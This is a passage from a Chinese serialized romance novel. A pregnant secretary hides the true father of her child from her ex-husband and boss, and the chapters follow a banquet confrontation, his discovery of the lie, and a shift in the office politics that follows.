她舒一口气,“我哥是听见了吧?”
“别说了,走吧。”沈渺不想再继续这个话题,朝会议室走。
“没事,话是我说的,我哥就算生气,也生我的气。”
贺懿快步跟上她,“他也不能觉得,你会私下跟我讨论他吧?”
贺忱怎么想的,沈渺也不知道。
她只知道,电梯门开的那一刻,贺忱朝她看来的目光,跟平日里不太一样。
“闭嘴,开会。”
沈渺把包放回办公室,带着贺懿进入会议室开会。
贺忱压阵,高层们都变得老实起来。
韩文松除了一脸不服,行为上没有再挑刺。
会议进行顺利,结束后贺懿到她办公室来摸鱼。
“我哥生病,辛苦你了。”
沈渺摇头,“应该的,他是我上司,而且他这次过来是给我撑场子的。”
这几天,沈渺终于确定,贺忱来深城真的只是为了给她撑腰。
跑到这千里之外,还生了一场病。
沈渺突然过意不去,那两天在照顾他时还想推辞。
“他是来躲清静的吧。”
贺懿坐直身体,手在桌子上拍了拍,“你是不知道,婚期越近,程家的幺蛾子越多,闹得可不愉快了,我哥跟程唯怡好像出问题了。”
沈渺心头一沉,“是吗。”
“对,你看,昨晚程唯怡还发了条莫名其妙的朋友圈。”
贺懿把程唯怡微信翻开,置顶的朋友圈就是:我们不该以这样的方式伤害彼此。
下面有人评论,贺懿看不到对方的,只能看到程唯怡的回复。
说跟贺忱吵架了,贺忱在冷着她,拿她最在意的事情气她。
“我哥气她什么了?婚礼没取消,没骂她没打她,她这不是造谣吗?什么最在意,她在意什么?”
贺懿强忍着没把程唯怡的微信拉黑。
沈渺嘴角轻抽了两下,想说的话卡在喉咙里,说不出来。
所以,贺忱跟程唯怡吵架,才来的深城。
之所以来深城,是因为她在这儿。
她就是程唯怡最在意的那根刺。
“矫情死了,我以前不想结婚,现在想了,等她嫁过来我立马就嫁出去,千万别在一个屋檐下生活。”
贺懿提到程唯怡,眉头拧得能夹死苍蝇。
沈渺缓了缓胸腔里涌上来的那股酸涩。
她扯动嘴角说,“回去工作吧,刚上班第一天,好好表现,别让部门的人说闲话。”
毕竟是家事,贺懿跟朋友不能吐槽,怕被人看了笑话。
好不容易见到沈渺,她大吐苦水。
现在她还有些意犹未尽,“那改天不忙了一起吃饭,到时候再跟你说。”
“去吧。”沈渺颔首。
办公室安静下来,沈渺的视线落在眼前的文件上。
却怎么也看不进去。
临近中午,她处理完几份紧急文件,离开公司。
她跟商音约好在商场餐厅见面,先吃了一顿饭,然后才逛街。
下午五点,她开车回公司接贺忱。
贺忱身着黑色西装,白色衬衫搭着浅蓝色的领带。
意气风发又不失沉着稳重,让他周围的一切都失了色。
沈渺把车停在他身边,将车门打开等他上车。
贺忱正在接电话,看过来的同时,将指缝里夹着未点的烟,放回烟盒。
“程小姐还是没有给准确的时间,而且她最近频繁联系秦医生,只不过秦医生的电话打不通。”
“彻查程唯怡,包括她在国外那两年的一切踪迹。”
贺忱眸光沉得能滴出水,“盯紧了程家,一举一动都及时向我汇报。”
林昭觉得有大事要发生。
他紧绷着应下,全权按贺忱说的办。
“张科研的事情办得怎么样了。”
贺忱望向沈渺的方向,半落地车窗,她侧脸线条柔和,化着淡妆美得惊心动魄。
林昭犹豫了下说,“我还没找到合适的机会,跟陈庆提……”
“让你直接办。”贺忱不满道,“我做事还要看机会?”
林昭额头冒汗,是不需要看机会。
可不分青红皂白,连个理由都不给就提出这种无理要求——
传出去对贺忱的名声有损。
可贺忱态度强硬,林昭只能听命。
“是,我现在就给陈庆打电话。”
结束通话,贺忱将手机揣回兜里,弯腰上了车。
待他系好安全带,沈渺发动引擎驱车朝高家走去。
高家夫妇的结婚纪念日,在高家老宅举办。
晚高峰,路上堵,预计比约定时间要迟上二十分钟才能到。
不过高夫人半路给沈渺打了一通电话,特意叮嘱不用着急。
因为她的车上有贺忱。
挂了高夫人的电话,沈渺跟贺忱解释,“高夫人打来的电话,还得是贺总亲自出马,高家人都得忌惮三分。”
回应她的,是一片沉默。
就在沈渺以为,他不会回答时,却听贺忱开了口。
“沈渺,你看上张科研什么了?”
话锋转得太快,沈渺猝不及防。
她在最短的时间内反应过来,给出标准的答案,“合适。”
她在工作上胜张科研一筹。
张科研有健全的家庭跟优秀的学历。
他们确实算合适的。
贺忱眉头一拧,“你的意思是,张科研比我好?”
说张科研合适,那岂不是跟他不适合,所以才提离婚?
183.等他撒够气就回去结婚
两人的目光在后视镜里对上。
霓虹灯初上,一簇簇光闪进来,车厢里明暗交替。
沈渺只能看到男人深邃的眼窝,分外深沉。
她率先移开目光,面视前方开车。
“他跟贺总当然没得比。”
“确实。”
贺忱语气薄凉,“你的眼光,越来越差。”
无端挨了两句,沈渺摸不着头脑。
“贺总说的是。”
她想了想,又添一句,“我的私事就不劳贺总费心了,也希望贺总……公私分明。”
她的私事涉及不到贺忱。
同样,贺忱跟程唯怡的事情,也别扯上她。
贺忱漠然,指腹轻轻在腕表表盘上摩擦,面色是令人捉摸不透的隐晦。
半小时后,高家。
沈渺下车,她穿着浅灰色齐肩长裙,一双平底鞋踩在脚下。
站在贺忱身边,比贺忱矮了一个头。
完美的身高差,极具辨别性的容貌,独特的气质,都令人眼前一亮。
两人刚站稳,高振山和高夫人就迎过来了。
“贺总,久仰大名,你能来参加我们的结婚周年纪念日,真是我们的荣幸。”
高振山姿态摆得很低。
与贺岭山差不多的年纪,面对贺忱这样一个晚辈,还能毫无负担地摆低姿态。
他是个能沉得住气的人。
贺忱淡定自若地应对,“高总客气了,我的荣幸,沾沾喜气。”
“早就听说贺总婚礼在即,希望到时候我有资格去讨杯喜酒。”
贺忱与高振山并肩走在前面。
沈渺则与高夫人寒暄。
“沈渺,你长得真漂亮!”高夫人看到沈渺时,眼睛一亮。
走进了,她眼底对沈渺的惊艳不减反增,更为夸赞。
“看来,这些年你把自己照顾得很好。”
沈渺精致的眉眼带着独有的韵味,她浅笑回应。
“高太太过奖了,这是给您和高总带的礼物,希望您能喜欢。”
她将之前挑选的那份礼物,藏在了结婚纪念日的礼物里面。
高夫人怔了下,把礼物接过来。
“有心了,让他们男人谈生意,我带你来这边。”
她将礼物交给下人,拉着沈渺朝花园里走。
草坪上摆着长长的酒桌,男人们推杯换盏,借着难得的机会谈工作。
花园里女人们齐聚一堂,聚拢到一起谈论八卦。
远远的,沈渺就看到了吴玥珊,她撑着孕肚,坐在椅子上,与几个年纪相仿的女人聊天。
“你要是对我们上了年纪的话题不感兴趣,就去珊珊那边,年轻人多,更有共同话题。”
高夫人询问着她的意见。
“您忙,不用管我,我随意转转,等会儿还要去找贺总,免得他有事找不到我。”
沈渺莫名不想跟高夫人过多接触。
高夫人那股过度的热情,让她感到不适。
闻言,高夫人松开她,“那你有事找我。”
“好。”
沈渺与高夫人分开后,朝花园人少的角落里走去。
角落里一只藤编秋千,面朝人工湖泊,背对着花园。
高家在深城是几世权贵,底蕴深厚。
隔着人工湖,沈渺看到贺忱站在草坪上。
他站在原地不动,人群往他那边涌动,逐个打招呼。
一抹靓丽的身影在那群西装革履的男人中,很是显眼,走到了贺忱面前。
沈渺定睛一看,赫然是吴玥珊。
她端着一杯果汁,轻碰了下贺忱的酒杯。
贺忱颔首,浅抿了一口杯中红褐色的液体。
吴玥珊目光一转,朝沈渺这边看过来,毫不遮掩地指着沈渺,与贺忱说什么。
贺忱平缓的眉头微微拢了下,也朝沈渺看过来。
他的不满稍纵即逝后,又跟吴玥珊说了句什么。
吴玥珊扬起一个灿烂的笑容,挺着孕肚顺延着湖泊的青石小路,朝沈渺走过来。
沈渺坐在秋千上没动。
“沈小姐,又见面了。”
“高少夫人。”沈渺抬了抬头,入目先是吴玥珊挺起的孕肚,“你怀孕几个月了?”
吴玥珊抚摸着肚子,“六个月了。”
沈渺诧异,跟她月份几乎一样。
不知是吴玥珊的肚子太大,还是她的肚子太小,悬殊实在大。
“知道我刚刚跟贺忱说什么了吗?”
吴玥珊站在她面前,高抬着下巴看她。
沈渺面色平静,“你跟贺总说什么,跟我没关系。”
“有关系,我们说的就是你。”
吴玥珊轻嗤着,“我这辈子,最讨厌的就是破坏别感情的小三,贺忱抛下唯怡到深城来找你,男人图个一时冲动,想干什么干什么,唯怡拿他没办法,算下来这是你的不是了。”
听她提程唯怡,沈渺恍然大悟。
难怪第一次见面,吴玥珊就对她那么大的敌意。
“我知道,你是贺忱的前妻,可你们已经结束了,现在唯怡才是贺家的准少夫人,你不该识趣一点吗?”
吴玥珊操着教育人的口吻,毫不掩饰眼底的厌恶。
沈渺站起来,“不知道程小姐怎么跟你说的,也不知道程小姐跟贺总到底为什么吵架,但贺总来深城只是为了工作,跟我无关。”
“遮掩你们丑事的借口可真冠冕堂皇……”
吴玥珊紧紧拧着眉头。
沈渺打断她接下来难听的话,“高少夫人闲时间多,好好安胎。”
少管闲事,反正她也管不明白。
说完,沈渺起身离席。
“贺忱一定会跟唯怡结婚的,不过是拿你来气气唯怡,别太把自己当回事,一个前妻总在人家眼前晃悠什么,刚贺忱都说了,等他撒够气就回去结婚……”
吴玥珊挺着孕肚,朝着沈渺的身影愤愤不平。
好似她是正义使者的化身,沈渺是坏透了的第三者。
沈渺走过青石小路,穿过西装革履的男人之中,她想回车上去冷静冷静。
却未曾想,刚走没两步路,就被人端着酒盏拦下了。
“沈总,你来得正好,我有个项目,贺总让我找你谈。”
一个约莫五十来岁的男人,络腮胡秃顶,外表十分违和。
他转身在酒桌上拿来一杯红酒,递给沈渺。
“给个薄面,聊几分钟?”
浓烈的酒味袭来,沈渺呼吸一滞。
“今天是高家的主场,合作改天再谈吧。”
男人却继续拦着她,“那我们先碰个杯,再约时间。”
深城商圈规矩,不论合作与否,喝杯酒以示买卖不成仁义在。
今天周敬才没跟着,没人给沈渺挡酒,她拧起眉。
迟迟未接的酒杯,让男人的脸色渐渐变了。
“沈总,我没得罪你的地方吧?不合作也没关系,面子都不给吗?”
184.贺总,沈秘书的孩子不是我的!
“抱歉,我身体不适,不能喝酒。”
沈渺语气真诚。
可对面的男人脸色还是变得有些不好。
“沈总,你是不是还不太清楚深城商圈的规矩?我这不是为难你。”
周围人频频侧目,多少双眼睛,打量中带着好奇,沈渺不喝这杯酒是什么意思。
沈渺被架在这里,这杯酒喝不了,可不喝——
“她身体不适,我来替她喝。”
贺忱发现这边异样,他结束与面前人的寒暄,端着酒杯过来。
男人见贺忱过来,脸色微变。
“贺总,我不是那个意思,真的只是想喝杯酒,哪怕沈总意思一下,抿一口都行!”
“她这两天确实身体不适,不宜喝酒,所以今天我才同她一起出席。”
贺忱言简意赅地解释。
男人受宠若惊,也相信沈渺是真的不舒服。
“我喝三杯,贺总自便。”
他喝完一杯紧跟一杯,一口气就把三杯喝完了。
贺忱仰头,将杯中酒一饮而尽。
周围渐渐传来窃窃私语声。
贺忱毕竟是上司,替她挡酒——
沈渺看了贺忱一眼,他性感的喉结滚动,液体落入腹中,动作一气呵成。
这是他第一次替沈渺挡酒。
沈渺眼皮轻颤,将目光收回来时,略过吴玥珊。
吴玥珊正举着手机偷拍。
贺忱放下酒杯,微微侧过的头,也看向了吴玥珊。
他的目光沉冷,很快便收回来,朝沈渺看去。
“这里有我,你去车上等着。”
沈渺对上他的目光。
他并不介意吴玥珊在拍照,会添油加醋地转告程唯怡。
沈渺甚至在他细微的表情中,看出一缕故意的成分。
沈渺转身就走了,她轻提着长裙的裙摆,裙边处细细的脚踝若隐若现。
“哎这……”
男人刚放下酒杯,就看到沈渺连个表情都没有地走了。
对贺忱这个上司别说感激,连最基本的客气都没有。
贺忱眉骨微拢,不悦稍纵即逝,很快又投入与其他人的应酬中。
停车场,沈渺将座椅放平,躺在里面小憩。
周围一片死寂,可她的耳畔不断回荡着吴玥珊的话。
“贺忱一定会跟唯怡结婚的,不过是拿你来气气唯怡,别太把自己当回事,一个前妻总在人家眼前晃悠什么,刚贺忱都说了,等他撒够气就回去结婚……”
第一次明目张胆地给她撑腰,第一次当众给她挡酒。
只不过是为了气一气程唯怡。
沈渺从未敢想过,贺忱能做出这么幼稚的事情。
她就说,他怎么会突然跑过来给她撑腰呢。
深城的人和事,都不值得他特意跑过来一次。
原来,别有所图。
——
京北,晚上八点,都到了下班的时间。
张科研突然收到了一封邮件,人事部发来的解雇书。
没有给出具体的解雇原因,单方面强行解除合作,让他明天一早去收拾东西。
张科研懵了几秒,迅速给陈小姐打电话。
可陈小姐的电话没人接,他思来想去主动打给陈庆。
电话响到快自动挂断的时候,才被接起。
“陈总,我……”
“张科研,我是看你能力不错,又积极上进,才同意让你跟我女儿交往试试的,可你得罪谁不行,偏偏得罪贺忱!”
陈庆知道他打电话来是为什么,直接打断他。
“明天你收拾完东西走人,以后别再给我女儿打电话了!”
“陈总!我没有得罪贺总!”
张科研急急开口,“这都是误会,我可以解释!”
陈庆那端,传来他女儿的哭声。
“爸,你都答应我跟张科研在一起了,让我们试试,怎么能出尔反尔呢?我就喜欢他……”
“你喜欢他有什么用?得罪了贺忱咱们陈家都完了,不能因为他一个人害了我们全家!”
陈庆后悔,在女儿跟张科研有苗头的时候,就该及时掐死。
怪他发现张科研能力不错,而且家境不好,愿意倒插门,就抱侥幸心理。
觉得张科研跟沈渺分手了,不至于得罪贺忱……
谁知道一眨眼,突然就闹出这种事情来!
“陈总,我可以跟贺总解释,您给我一次机会,我知道他为什么这么做!”
张科研瞬间就明白,贺忱为什么这么做。
“爸,爸我求你了……”
陈小姐那边苦苦哀求。
陈庆思来想去,对张科研说,“我把贺总的联系方式给你,你自己去联系,如果他还是让我开除你,我不会给你机会的,沟通期间你不许再联系我女儿。”
电话被挂断。
不出一分钟,张科研就收到了陈庆发来的一串号码。
他立马给贺忱拨过去。
电话响了几声,直接被挂断。
再打,又挂。
张科研最后试了一次,电话已经打不通,他被拉黑了。
陌生的号码,贺忱向来不会接。
张科研立刻换了个号码,改为发消息。
【贺总,我是张科研,很抱歉之前骗了您,沈秘书肚子里的孩子……不是我的!希望您能大人不记小人过,别再让陈总开除我,这份工作对我来说来之不易。】
他的消息,并未得到回信。
可张科研也没有给沈渺打电话。
他不能再帮沈渺瞒着,也顾不上沈渺被拆穿会有什么下场。
对于他来说,没有什么比他的前途更重要。
深城。
接连挂断两个电话,贺忱耐心已经被耗尽。
他将对方直接拉黑后,把手机放入口袋,继而应酬。
他并未将短信的叮咚声放在心上。
宴会人数众多,一圈应酬下来,他喝了不少酒,不再寒暄,提出告辞。
高振山亲自送他出来,“贺总,改天有机会我请你吃深城的特色,年底深城政圈有个项目下来,我们提前探讨一下。”
“百荣在深城建分部,只是为了好管理周围的分公司,不会垄断南方的市场,高总请放心,我们不是仇人,政圈的项目您自己留着吧。”
贺忱算算时间,年底沈渺刚生产完不久。
政圈项目耗人又耗精力,沈渺撑不住的。
高振山客气一笑,“既然都来了深城,肯定是把生意做得越大越好,我肯定是双手欢迎……”
他的客气话,贺忱懒得附和,静静听着,听絮烦了掏出手机随意拨弄着。
点开那条未读的短信,他的目光乍然一凝。
185.你肚子里的孩子,又不是他的
高振山还说这话,突然察觉周身的气氛变了。
再看贺忱,脸色凛然,让他心底一惊。
“贺总?”
“高总,告辞。”
贺忱甩下几个字,转身朝车上走去。
高振山看着他漠然的背影,愣是没敢送他上车。
贺忱回到车旁,落下一小截的车窗依稀能看到沈渺躺在里面。
她身上盖着一件黑色针织线衣,埋起半张脸,一双眼眸微闭着,卷翘的睫毛合拢。
贺忱靠在汽车引擎上,点了根烟,目光三不五时地落在车内的沈渺身上。
她骗了他。
他却猜不透,她为什么骗他。
尼古丁充斥在贺忱的鼻翼间,渐渐上了头,往日里冷静沉着的男人,此刻乱成一团。
或者说,不知什么时候就已经有了乱的迹象。
此刻,才彻底乱套。
沈渺睡得并不安稳。
车厢里有贺忱身上淡淡的沉香味,她有些不安。
迷迷糊糊,她眼睛睁开一条缝。
男人靠坐在引擎盖上,双手撑着车身。
人被一道路灯打下来的光笼罩,黑色的西装折出暖光,将他笼罩着。
沈渺扯开外套从车上下来,“贺总,结束了吗?”
车内有些热,她鼻子出了一层细汗。
黑白分明的眼眸亮晶晶的又泛着点红。
像一只无辜善良的兔子。
“张科研跟陈庆的女儿在一起了。”
逆光中,只能看到贺忱唇瓣微动的轮廓。
沈渺的心口一紧,垂在身侧的手捏住了裙子。
“其实我跟他在我来深城之前,就分手了。”
贺忱嗓音不辨喜怒,“是吗。”
他的声音有着无孔不入的渗透感,直接钻入了沈渺的心口。
她的心脏像被扎了一颗钉子,拼命的跳动像摆脱那股钳制感。
“是。”
她尽量让自己看起来无异,赶在话题更深一步之前,又说,“我有些累了,贺总,您开车回家吧,我自己叫个车回去。”
她折回驾驶位,拿了衣服和包,边拿手机边快步离开。
刚走到车尾的位置。
贺忱就追上来了。
他拉了把她的胳膊,力度不大不小,她停下来,身体紧抵着后备箱。
贺忱双手圈拢,将她困在他身体与车之间。
逼仄感更浓,尤其他盯着沈渺的目光,极具穿透性。
“沈渺,你什么时候这么开放了?说谈个男人就谈,床也上了孩子也怀了,说分就分?”
他每问一句,就朝她靠近一些。
沈渺心惊一下,又一下,被他逼得抬着头与他对视。
她无处可躲,微微隆起的小腹,甚至已经感受到男人贴过来的带着温度的身体。
“这是我的私事,跟你没关系!这个孩子我想留——”
“好歹你也跟了我两年,我这个前夫兼上司,不能让你受了委屈。”
贺忱舌尖抵着腮帮,锐利的目光更进一步盯着他。
他的鼻尖快要抵上她的鼻尖。
“我帮你收拾张科研。”
“不用!”
沈渺毫不犹豫拒绝,“不论是前夫还是上司,我都不需要你管!”
贺忱眉尾挑着,“我偏要管。”
他腾出一只手来,从口袋里掏出手机。
沈渺有了逃跑的机会,可她却不能走,直勾勾地盯着他的动作。
“以后别再让张科研出现在商圈。”
他在打电话,给林昭?
沈渺抬起手,拽着他胳膊,试图将电话抢过来。
贺忱将胳膊抬起,她垫着脚怎么也够不到。
“一个不负责任的男人,你这么护着干什么?沈渺,你不是最讨厌被人抛弃吗?”
沈渺虽然从来没说过,可她最讨厌别人抛弃她。
因为孤儿院的孩子,都是被抛弃的。
她也一样!
沈渺的指甲陷入他腕骨的肉里,抠出一道触目惊心的痕迹。
她死死咬着下唇,却仍未松口,坦白不是张科研的。
贺忱是个原则性极强的人,他眼里容不得沙子。
他都不肯包容青梅竹马,即将结婚的程唯怡。
怎么会包容沈渺这个下属的欺骗呢?
就算不是公事,也不行。
“怎么不说了?”
贺忱薄唇轻启,他眸色蕴着怒意,刻薄的话语接二连三地往外冒。
“做贺少夫人的时候,你不是次次不落安全措施?”
合法的孩子她都不生,怎么换了别的男人,她就一头热了?
想到沈渺在别的男人身下承欢,那副媚态的样子是取悦他人的。
他心底那股火,烧得更旺了!
沈渺羞恼。
“我只是不想给你生孩子!因为你不好,不温柔体贴不说,还整天冷着一张脸,像别人欠你八百万似的!”
贺忱的目光一下变得锋锐,薄怒下他额头的青筋凸起。
“何况你心里还装着别的女人,你是一个合格的丈夫吗?合法时你都没给我特殊偏待,你妈为难我的时候你像看不见的,现在都离婚了你给我撑什么腰?”
同一个屋檐下相处两年,贺忱都没有察觉到她有这么多情绪。
劈头盖脸的指责,让贺忱沉默下来。
沈渺一股脑的说完,清醒之后心拔凉。
几年的暗恋,始终没有得到过的感情回应,她的心里多少是带情绪的。
可这股情绪,发泄也该在那两年的婚姻里发泄。
而不是离婚这么久以后,再翻出来。
贺忱捏着手机的手加大力度,碰到了侧键,亮起的屏幕停留在锁屏界面。
没有在通话中。
沈渺怔愣,踮着的脚渐渐放平,抓着他的力度放小许多。
她拢了拢凌乱的头发,汲气道,“抱歉贺总,我失态了,您的好意我心领了,我会处理好自己的事情,希望您别牵连张科研,行吗?”
得不到贺忱松口的话,她不放心。
贺忱下颚线条清晰紧绷,他眼眸深邃如古井,暗藏着波澜。
“当然。”
沈渺提着的心落回肚子里。
她正想再说两句体面话,圆和一下刚刚的指责。
就听贺忱再度开口,“你肚子里的孩子,又不是他的,我分得清是非黑白。”
沈渺眸光一震,愕然地看着他。
她很快反应过来,只怕是贺忱已经对张科研下手,张科研主动找贺忱解释过了。
而贺忱,在诈她,想看她是否会承认,这个孩子不是张科研的。
她的不承认,等于告诉贺忱,她是有意瞒着他的!
186.要瞒就瞒到底,最好永远别让我知道
沈渺的心快跳出嗓子眼。
贺忱鹰隼般锐利的目光,仿佛能看穿她的秘密。
“要瞒,你就瞒到底,最好永远别让我知道。”
他站直身体,扯开领带脱了外套,挂在臂弯处转身往路边走。
沈渺的这个孩子,不可能是他的。
但直觉却又告诉贺忱,这个孩子一定跟他有关系。
他细细思索着,想不出是哪个环节出了错。
别墅区没有出租车。
他没把沈渺一个孕妇丢在这里。
沈渺却没有勇气,再让他上车。
她驱车换了另外一条路离开,后视镜里站在路边的贺忱,低垂着头吸烟。
夜里微凉,灯光晃晃,雾气萦绕着他。
她需要一个充足的理由,来解释她为什么瞒着贺忱。
否则根本交代不过去。
一步错步步错,早知会走到今天这一步,不如当初不提离职,就在分公司。
在贺忱的眼皮子底下,把这个孩子生下来,不瞒不主动汇报,反而没这么多事端。
回到家,商音过来给她送宵夜,一眼看出她脸色不对。
她蜷缩在沙发上,有气无力地将刚刚一切如实说出。
商音安慰她,“机器还会出错呢,人哪能一直保持冷静?你是太在乎这个孩子了,所以才会头脑不冷静,做出错误的决定,要怪怪我,我这个旁观者也头脑发热,怂恿你离开京北。”
沈渺双眸失焦涣散,靠在沙发上沉默。
“也不能怪咱们,谁让对方是贺忱呢,他要跟你抢抚养权,一抢一个准,我们没有胜算,必须杜绝一切可能性。”
商音坐过来,把她的头发挽到耳后,抱着她胳膊,“不怕,车到山前必有路,咱们先想个充足的骗他的理由。”
沈渺想了一路,根本想不到,她头靠在商音腿上,试图冷静下来想办法。
商音也冷静下来。
约莫过了十几分钟,商音缓缓开口,“我,我想到了一个非常充足的理由,但是有点狗血,你要不要听?”
沈渺坐起来,认真看着她,“什么?”
“算了,我还是不说了。”商音悻悻一笑。
“死马当活马医,你说说看。”
沈渺知道她脑回路一向不正常。
但万一今天正常了呢?
“你说这孩子是他爸的,你瞒住他,就理直气壮了吧?”
商音刚说完,沈渺就站起来了。
顺带把她也从沙发上拉起来。
“别想了,回家睡觉去吧。”
沈渺连推带搡,把商音跟那个馊主意,一块儿丢出家门。
商音一条腿卡在门缝里,挡着不让她关门。
“我都说不说了,你非让我说,那你还能有比这更好的主意吗?”
沈渺听她说话,比听贺忱说还头疼。
“所以呢?我不跟他抢抚养权,跟他爹抢?你能不能靠谱一点?”
这已经不是强抚养权的问题,都差辈了。
“那你当我没说,咱们再想想,你这样我不放心。”
商音想陪着她。
沈渺继续关门,“你废话虽然多,可刚刚有一句很中肯,车到山前必有路,我也不想了。”
她把商音的腿硬推出去,然后关上门。
“那你早点睡,明天我来给你送早餐。”
商音隔着门说,“你不承认他拿你没办法的,实在不行咱辞职,不伺候他了,我带你再换个地方……”
她自顾自地说了一番,然后走了。
沈渺进卫生间洗漱,刚推开门就看到洗手池边缘,一颗哑黑色的衬衫扣子,静静躺在那里。
那是贺忱的。
她看了几秒,拿起来随手丢入垃圾桶里。
——
秦川开车来接贺忱。
回去的路上,贺忱一言不发。
“身体好利索了吗。”秦川先开了口。
贺忱,“嗯。”
秦川,“你怎么一个人来参加宴会了,沈渺呢?”
他刚说完‘沈渺’二字,贺忱的脸色就拉下来了。
贺忱想起什么似的问秦川,“在京北时,你是沈渺的妇产医生?”
“是。”秦川等他下文。
贺忱,“有男人跟她一起去产检吗?”
秦川摇头,“没有,我问过科室的小护士,她们都没见过沈渺的老公。”
几乎每个孕妇都有老公陪着一起产检。
唯独沈渺,每次都是一个人去,偶尔商音陪着。
小护士们私下议论了好几次。
“有没有办法,知道她肚子里的孩子,是谁的?”
贺忱的指尖一下又一下轻轻敲击着腿。
秦川,“那是犯法的。”
“让你做你就做,哪那么多废话。”
贺忱拢着眉,一脸不容置疑。
秦川面视前方开车,无奈道,“拿两个标本做DNA检测,可以知道两人的关系,你要测她肚子里的孩子跟谁?”
“我。”贺忱脱口而出。
秦川转动方向盘,将车停在路边,“你认真的?”
贺忱静默数秒,“安全吗?”
“羊水穿刺,有一定风险,严重会导致流产。”秦川实话实说。
尤其,沈渺已经做过一次了。
贺忱沉默着。
“你做过什么,自己心里不清楚吗,还能不确定孩子是不是你的?”
秦川反问,“她是去年十一月份怀上的。”
十一月份,那时的她还在分公司。
调职后,贺忱只见过她三次,每次都是在公司。
别说上床,私下他都没见过她。
他掐了两下眉心,“开车,回家。”
秦川将油门踩到底,汽车重回道路上。
“天下没有不透风的墙,你查查不就知道了。”
贺忱微闭的眼眸豁然睁开一条缝,他转过头来,“你闲着也是闲着,明天找个医院任职。”
“你不会是觉得,我能从沈渺嘴里套出话来吧?她可是知道我跟你关系的。”
秦川保证,沈渺已经把她列入‘黑名单’了。
贺忱,“换个人套。”
“什么?”秦川没明白他的意思。
他不多解释,拿出手机给林昭打电话,“把秦川安排进深城最好的医院,任职儿科。”
——
翌日,沈渺到公司后,在车里坐了一会儿才上楼。
她是做足了准备才上去的。
可是电梯直达顶层,门一开,就看到贺忱站在外面的一瞬间。
她所有的准备工作,功亏一篑。
“贺,总。”
结巴,目光闪烁不定。
187.他越这样,沈渺心里越不安
“准备开会。”
贺忱比她淡定。
仿佛昨天晚上的针锋相对,不曾存在。
他越这样,沈渺的心里越不安。
沈渺出电梯,回办公室拿文件,马不停蹄去会议室。
百荣分部成立后的第一个项目,至关重要。
贺忱既然来了,就为此召开会议,为未来发展做出初步的计划。
“贺总,年底政圈有个项目,我觉得我们可以参与,能打开百荣在深城的知名度和信誉度。”
韩文松第一个发话。
他说的这个项目,就是高振山提的那个。
贺忱直接将话题转到沈渺那儿,“沈秘书觉得呢。”
他喊惯了‘沈秘书’,一直未改口。
“我认为不妥,深城政圈的项目有固定的合作人,抢是抢得过来,但难免得罪人,百荣刚在这里立足,不宜太张扬。”
猝不及防被点名,沈渺反应迅速,将最直观的想法说出。
而她的想法,跟韩文松的恰恰相反。
韩文松面露不满,可他没有再接话。
他看来,贺忱是偏袒沈渺的,肯定会直接采纳沈渺的意见。
谁知——
“百荣怕过吗。”
贺忱语气淡然,话锋一转,“韩经理眼光长远,行事雷厉,政圈的项目就交给你吧。”
会议室鸦雀无声。
那日为沈渺撑腰,沈渺一个不高兴,他能把裁掉整个公司数万人的男人,当众打了沈渺的脸。
对韩文松的夸赞反过来,就是嫌沈渺女流之辈畏手畏脚,只顾眼前。
沈渺轻垂着眼帘,她怎能不知贺忱是睚眦必报的性子?
她昨天那番话,挺伤男人自尊心的。
“贺总,沈总,这……”
面对天降的好事,韩文松很警惕,“我负责吗?”
“对。”贺忱手掌抵着桌沿,修长的手指搭在桌面上,一下下轻轻敲击。
“项目的人你随便选,给你开个新组,全力负责政圈项目。”
带领分部第一个项目,韩文松的权利直接翻倍。
他不由得坐直身体,整理了下西装。
“谢谢贺总给的机会,放心,我一定不会让您失望的。”
话语里有对贺忱的恭维,还有对沈渺的不屑。
“散会。”
贺忱起身合拢西装,越过沈渺,阔步离开。
会议室的门合上,韩文松突然就笑了。
他站起来,跺了跺脚,“哎呀,这短短两天,沈总怎么得罪贺总了?”
沈渺一言不发,合上电脑收拾文件。
“你不是跟了贺总好几年了吗?他那么器重你把你调过来,你怎么这么不争气呢?”
韩文松双手摊开,幸灾乐祸着。
其他高层纷纷起身,时不时发出一声嗤笑。
“韩经理,恭喜恭喜,干好了这个项目,你高升指日可待!”
“韩经理能力出众,一定能把这个项目做好,让百荣更上一层楼。”
“一群马屁精。”
恭维中,贺懿的声音不大不小,恰好传入每个人耳中。
一瞬,会议室陷入死寂。
韩文松黑着脸看过去。
贺懿跟在人群后走,前面的人却停下来,纷纷看向她,挡着她的路。
她毫不掩饰对这群人的鄙夷。
“看什么看?别人吹牛你们跟着起哄,马屁都让你们拍没了,好处我们公关部一点落不着,出了篓子还得我们解决,真够不要脸的。”
她骂骂咧咧,前面的人不由自主地让开路。
韩文松没让路,她不客气一把将人推开。
“还看,我说的就是你!”
韩文松个子不高,瘦瘦的像七八十年代的汉奸,中分的头发。
贺懿铆足劲推,他根本招架不住。
“沈总,我们走。”
推完人,贺懿扯出一个狗腿子的笑容,拉着沈渺离开。
“狗眼不识货!”
韩文松对着空气淬了一口,“沈渺都失势了,你还跟着她!”
贺懿跟沈渺早已走出办公室,他的骂声被门挡住。
出了门,贺懿挠挠头看着沈渺。
“我哥疯了吗?怎么突然重用韩文松那韩家狗腿子了?”
“你说话办事别这么冲动,韩文松为人挺阴暗的,被他记恨上没好事。”
沈渺从来不跟韩文松硬碰硬。
贺懿,“不怕,他动不了我。”
两人说话间,到了沈渺办公室,她挥挥手往电梯走。
“还是小心些。”
沈渺叮嘱了两句,回了办公室。
韩文松那群人隔了几分钟,大摇大摆的出来。
路过沈渺办公室时,他还特意停下,往里面看了一眼。
“都回去吧,我去给韩董报喜。”
韩文松单独进了个电梯,其他人识趣地等另外一个电梯。
回到办公室,韩文松给韩董打电话,报喜。
“贺忱把项目交给你做了?”韩董意外,“不对,他明知你是我的人,不会重用你。”
“今天会议上,贺忱对沈渺像变了一个人,我猜他们起内讧了。”
韩董思来想去,还是觉得蹊跷。
“你小心行事,查一查他们是怎么回事。”
经韩董这么一说,韩文松也不敢掉以轻心了,“行,我马上查。”
——
项目交给韩文松,对沈渺来说有一个好处。
那就是她无事可做了。
近期公司所有筹备,都是围绕着那个项目的。
各个部门都去找韩文松了,沈渺一闲就是一上午。
坐不住了,中午她跟李白恬一起吃饭。
楼下新开了一家餐厅,李白恬吃过两次,力荐,沈渺便去试试。
点了几个李白恬觉得好吃的菜。
“隔壁还有一家奶茶店上新了,柠檬茉莉波波,我去买两杯!”
李白恬起身就跑。
沈渺喊住她,“我不喝。”
“哦对,我忘了你怀孕。”李白恬停下,“那,牛奶你喝吗?”
“不喝,你买自己的就好。”
沈渺本就对那些东西不感兴趣,怀孕了更是碰都不碰。
“那我快去快回。”
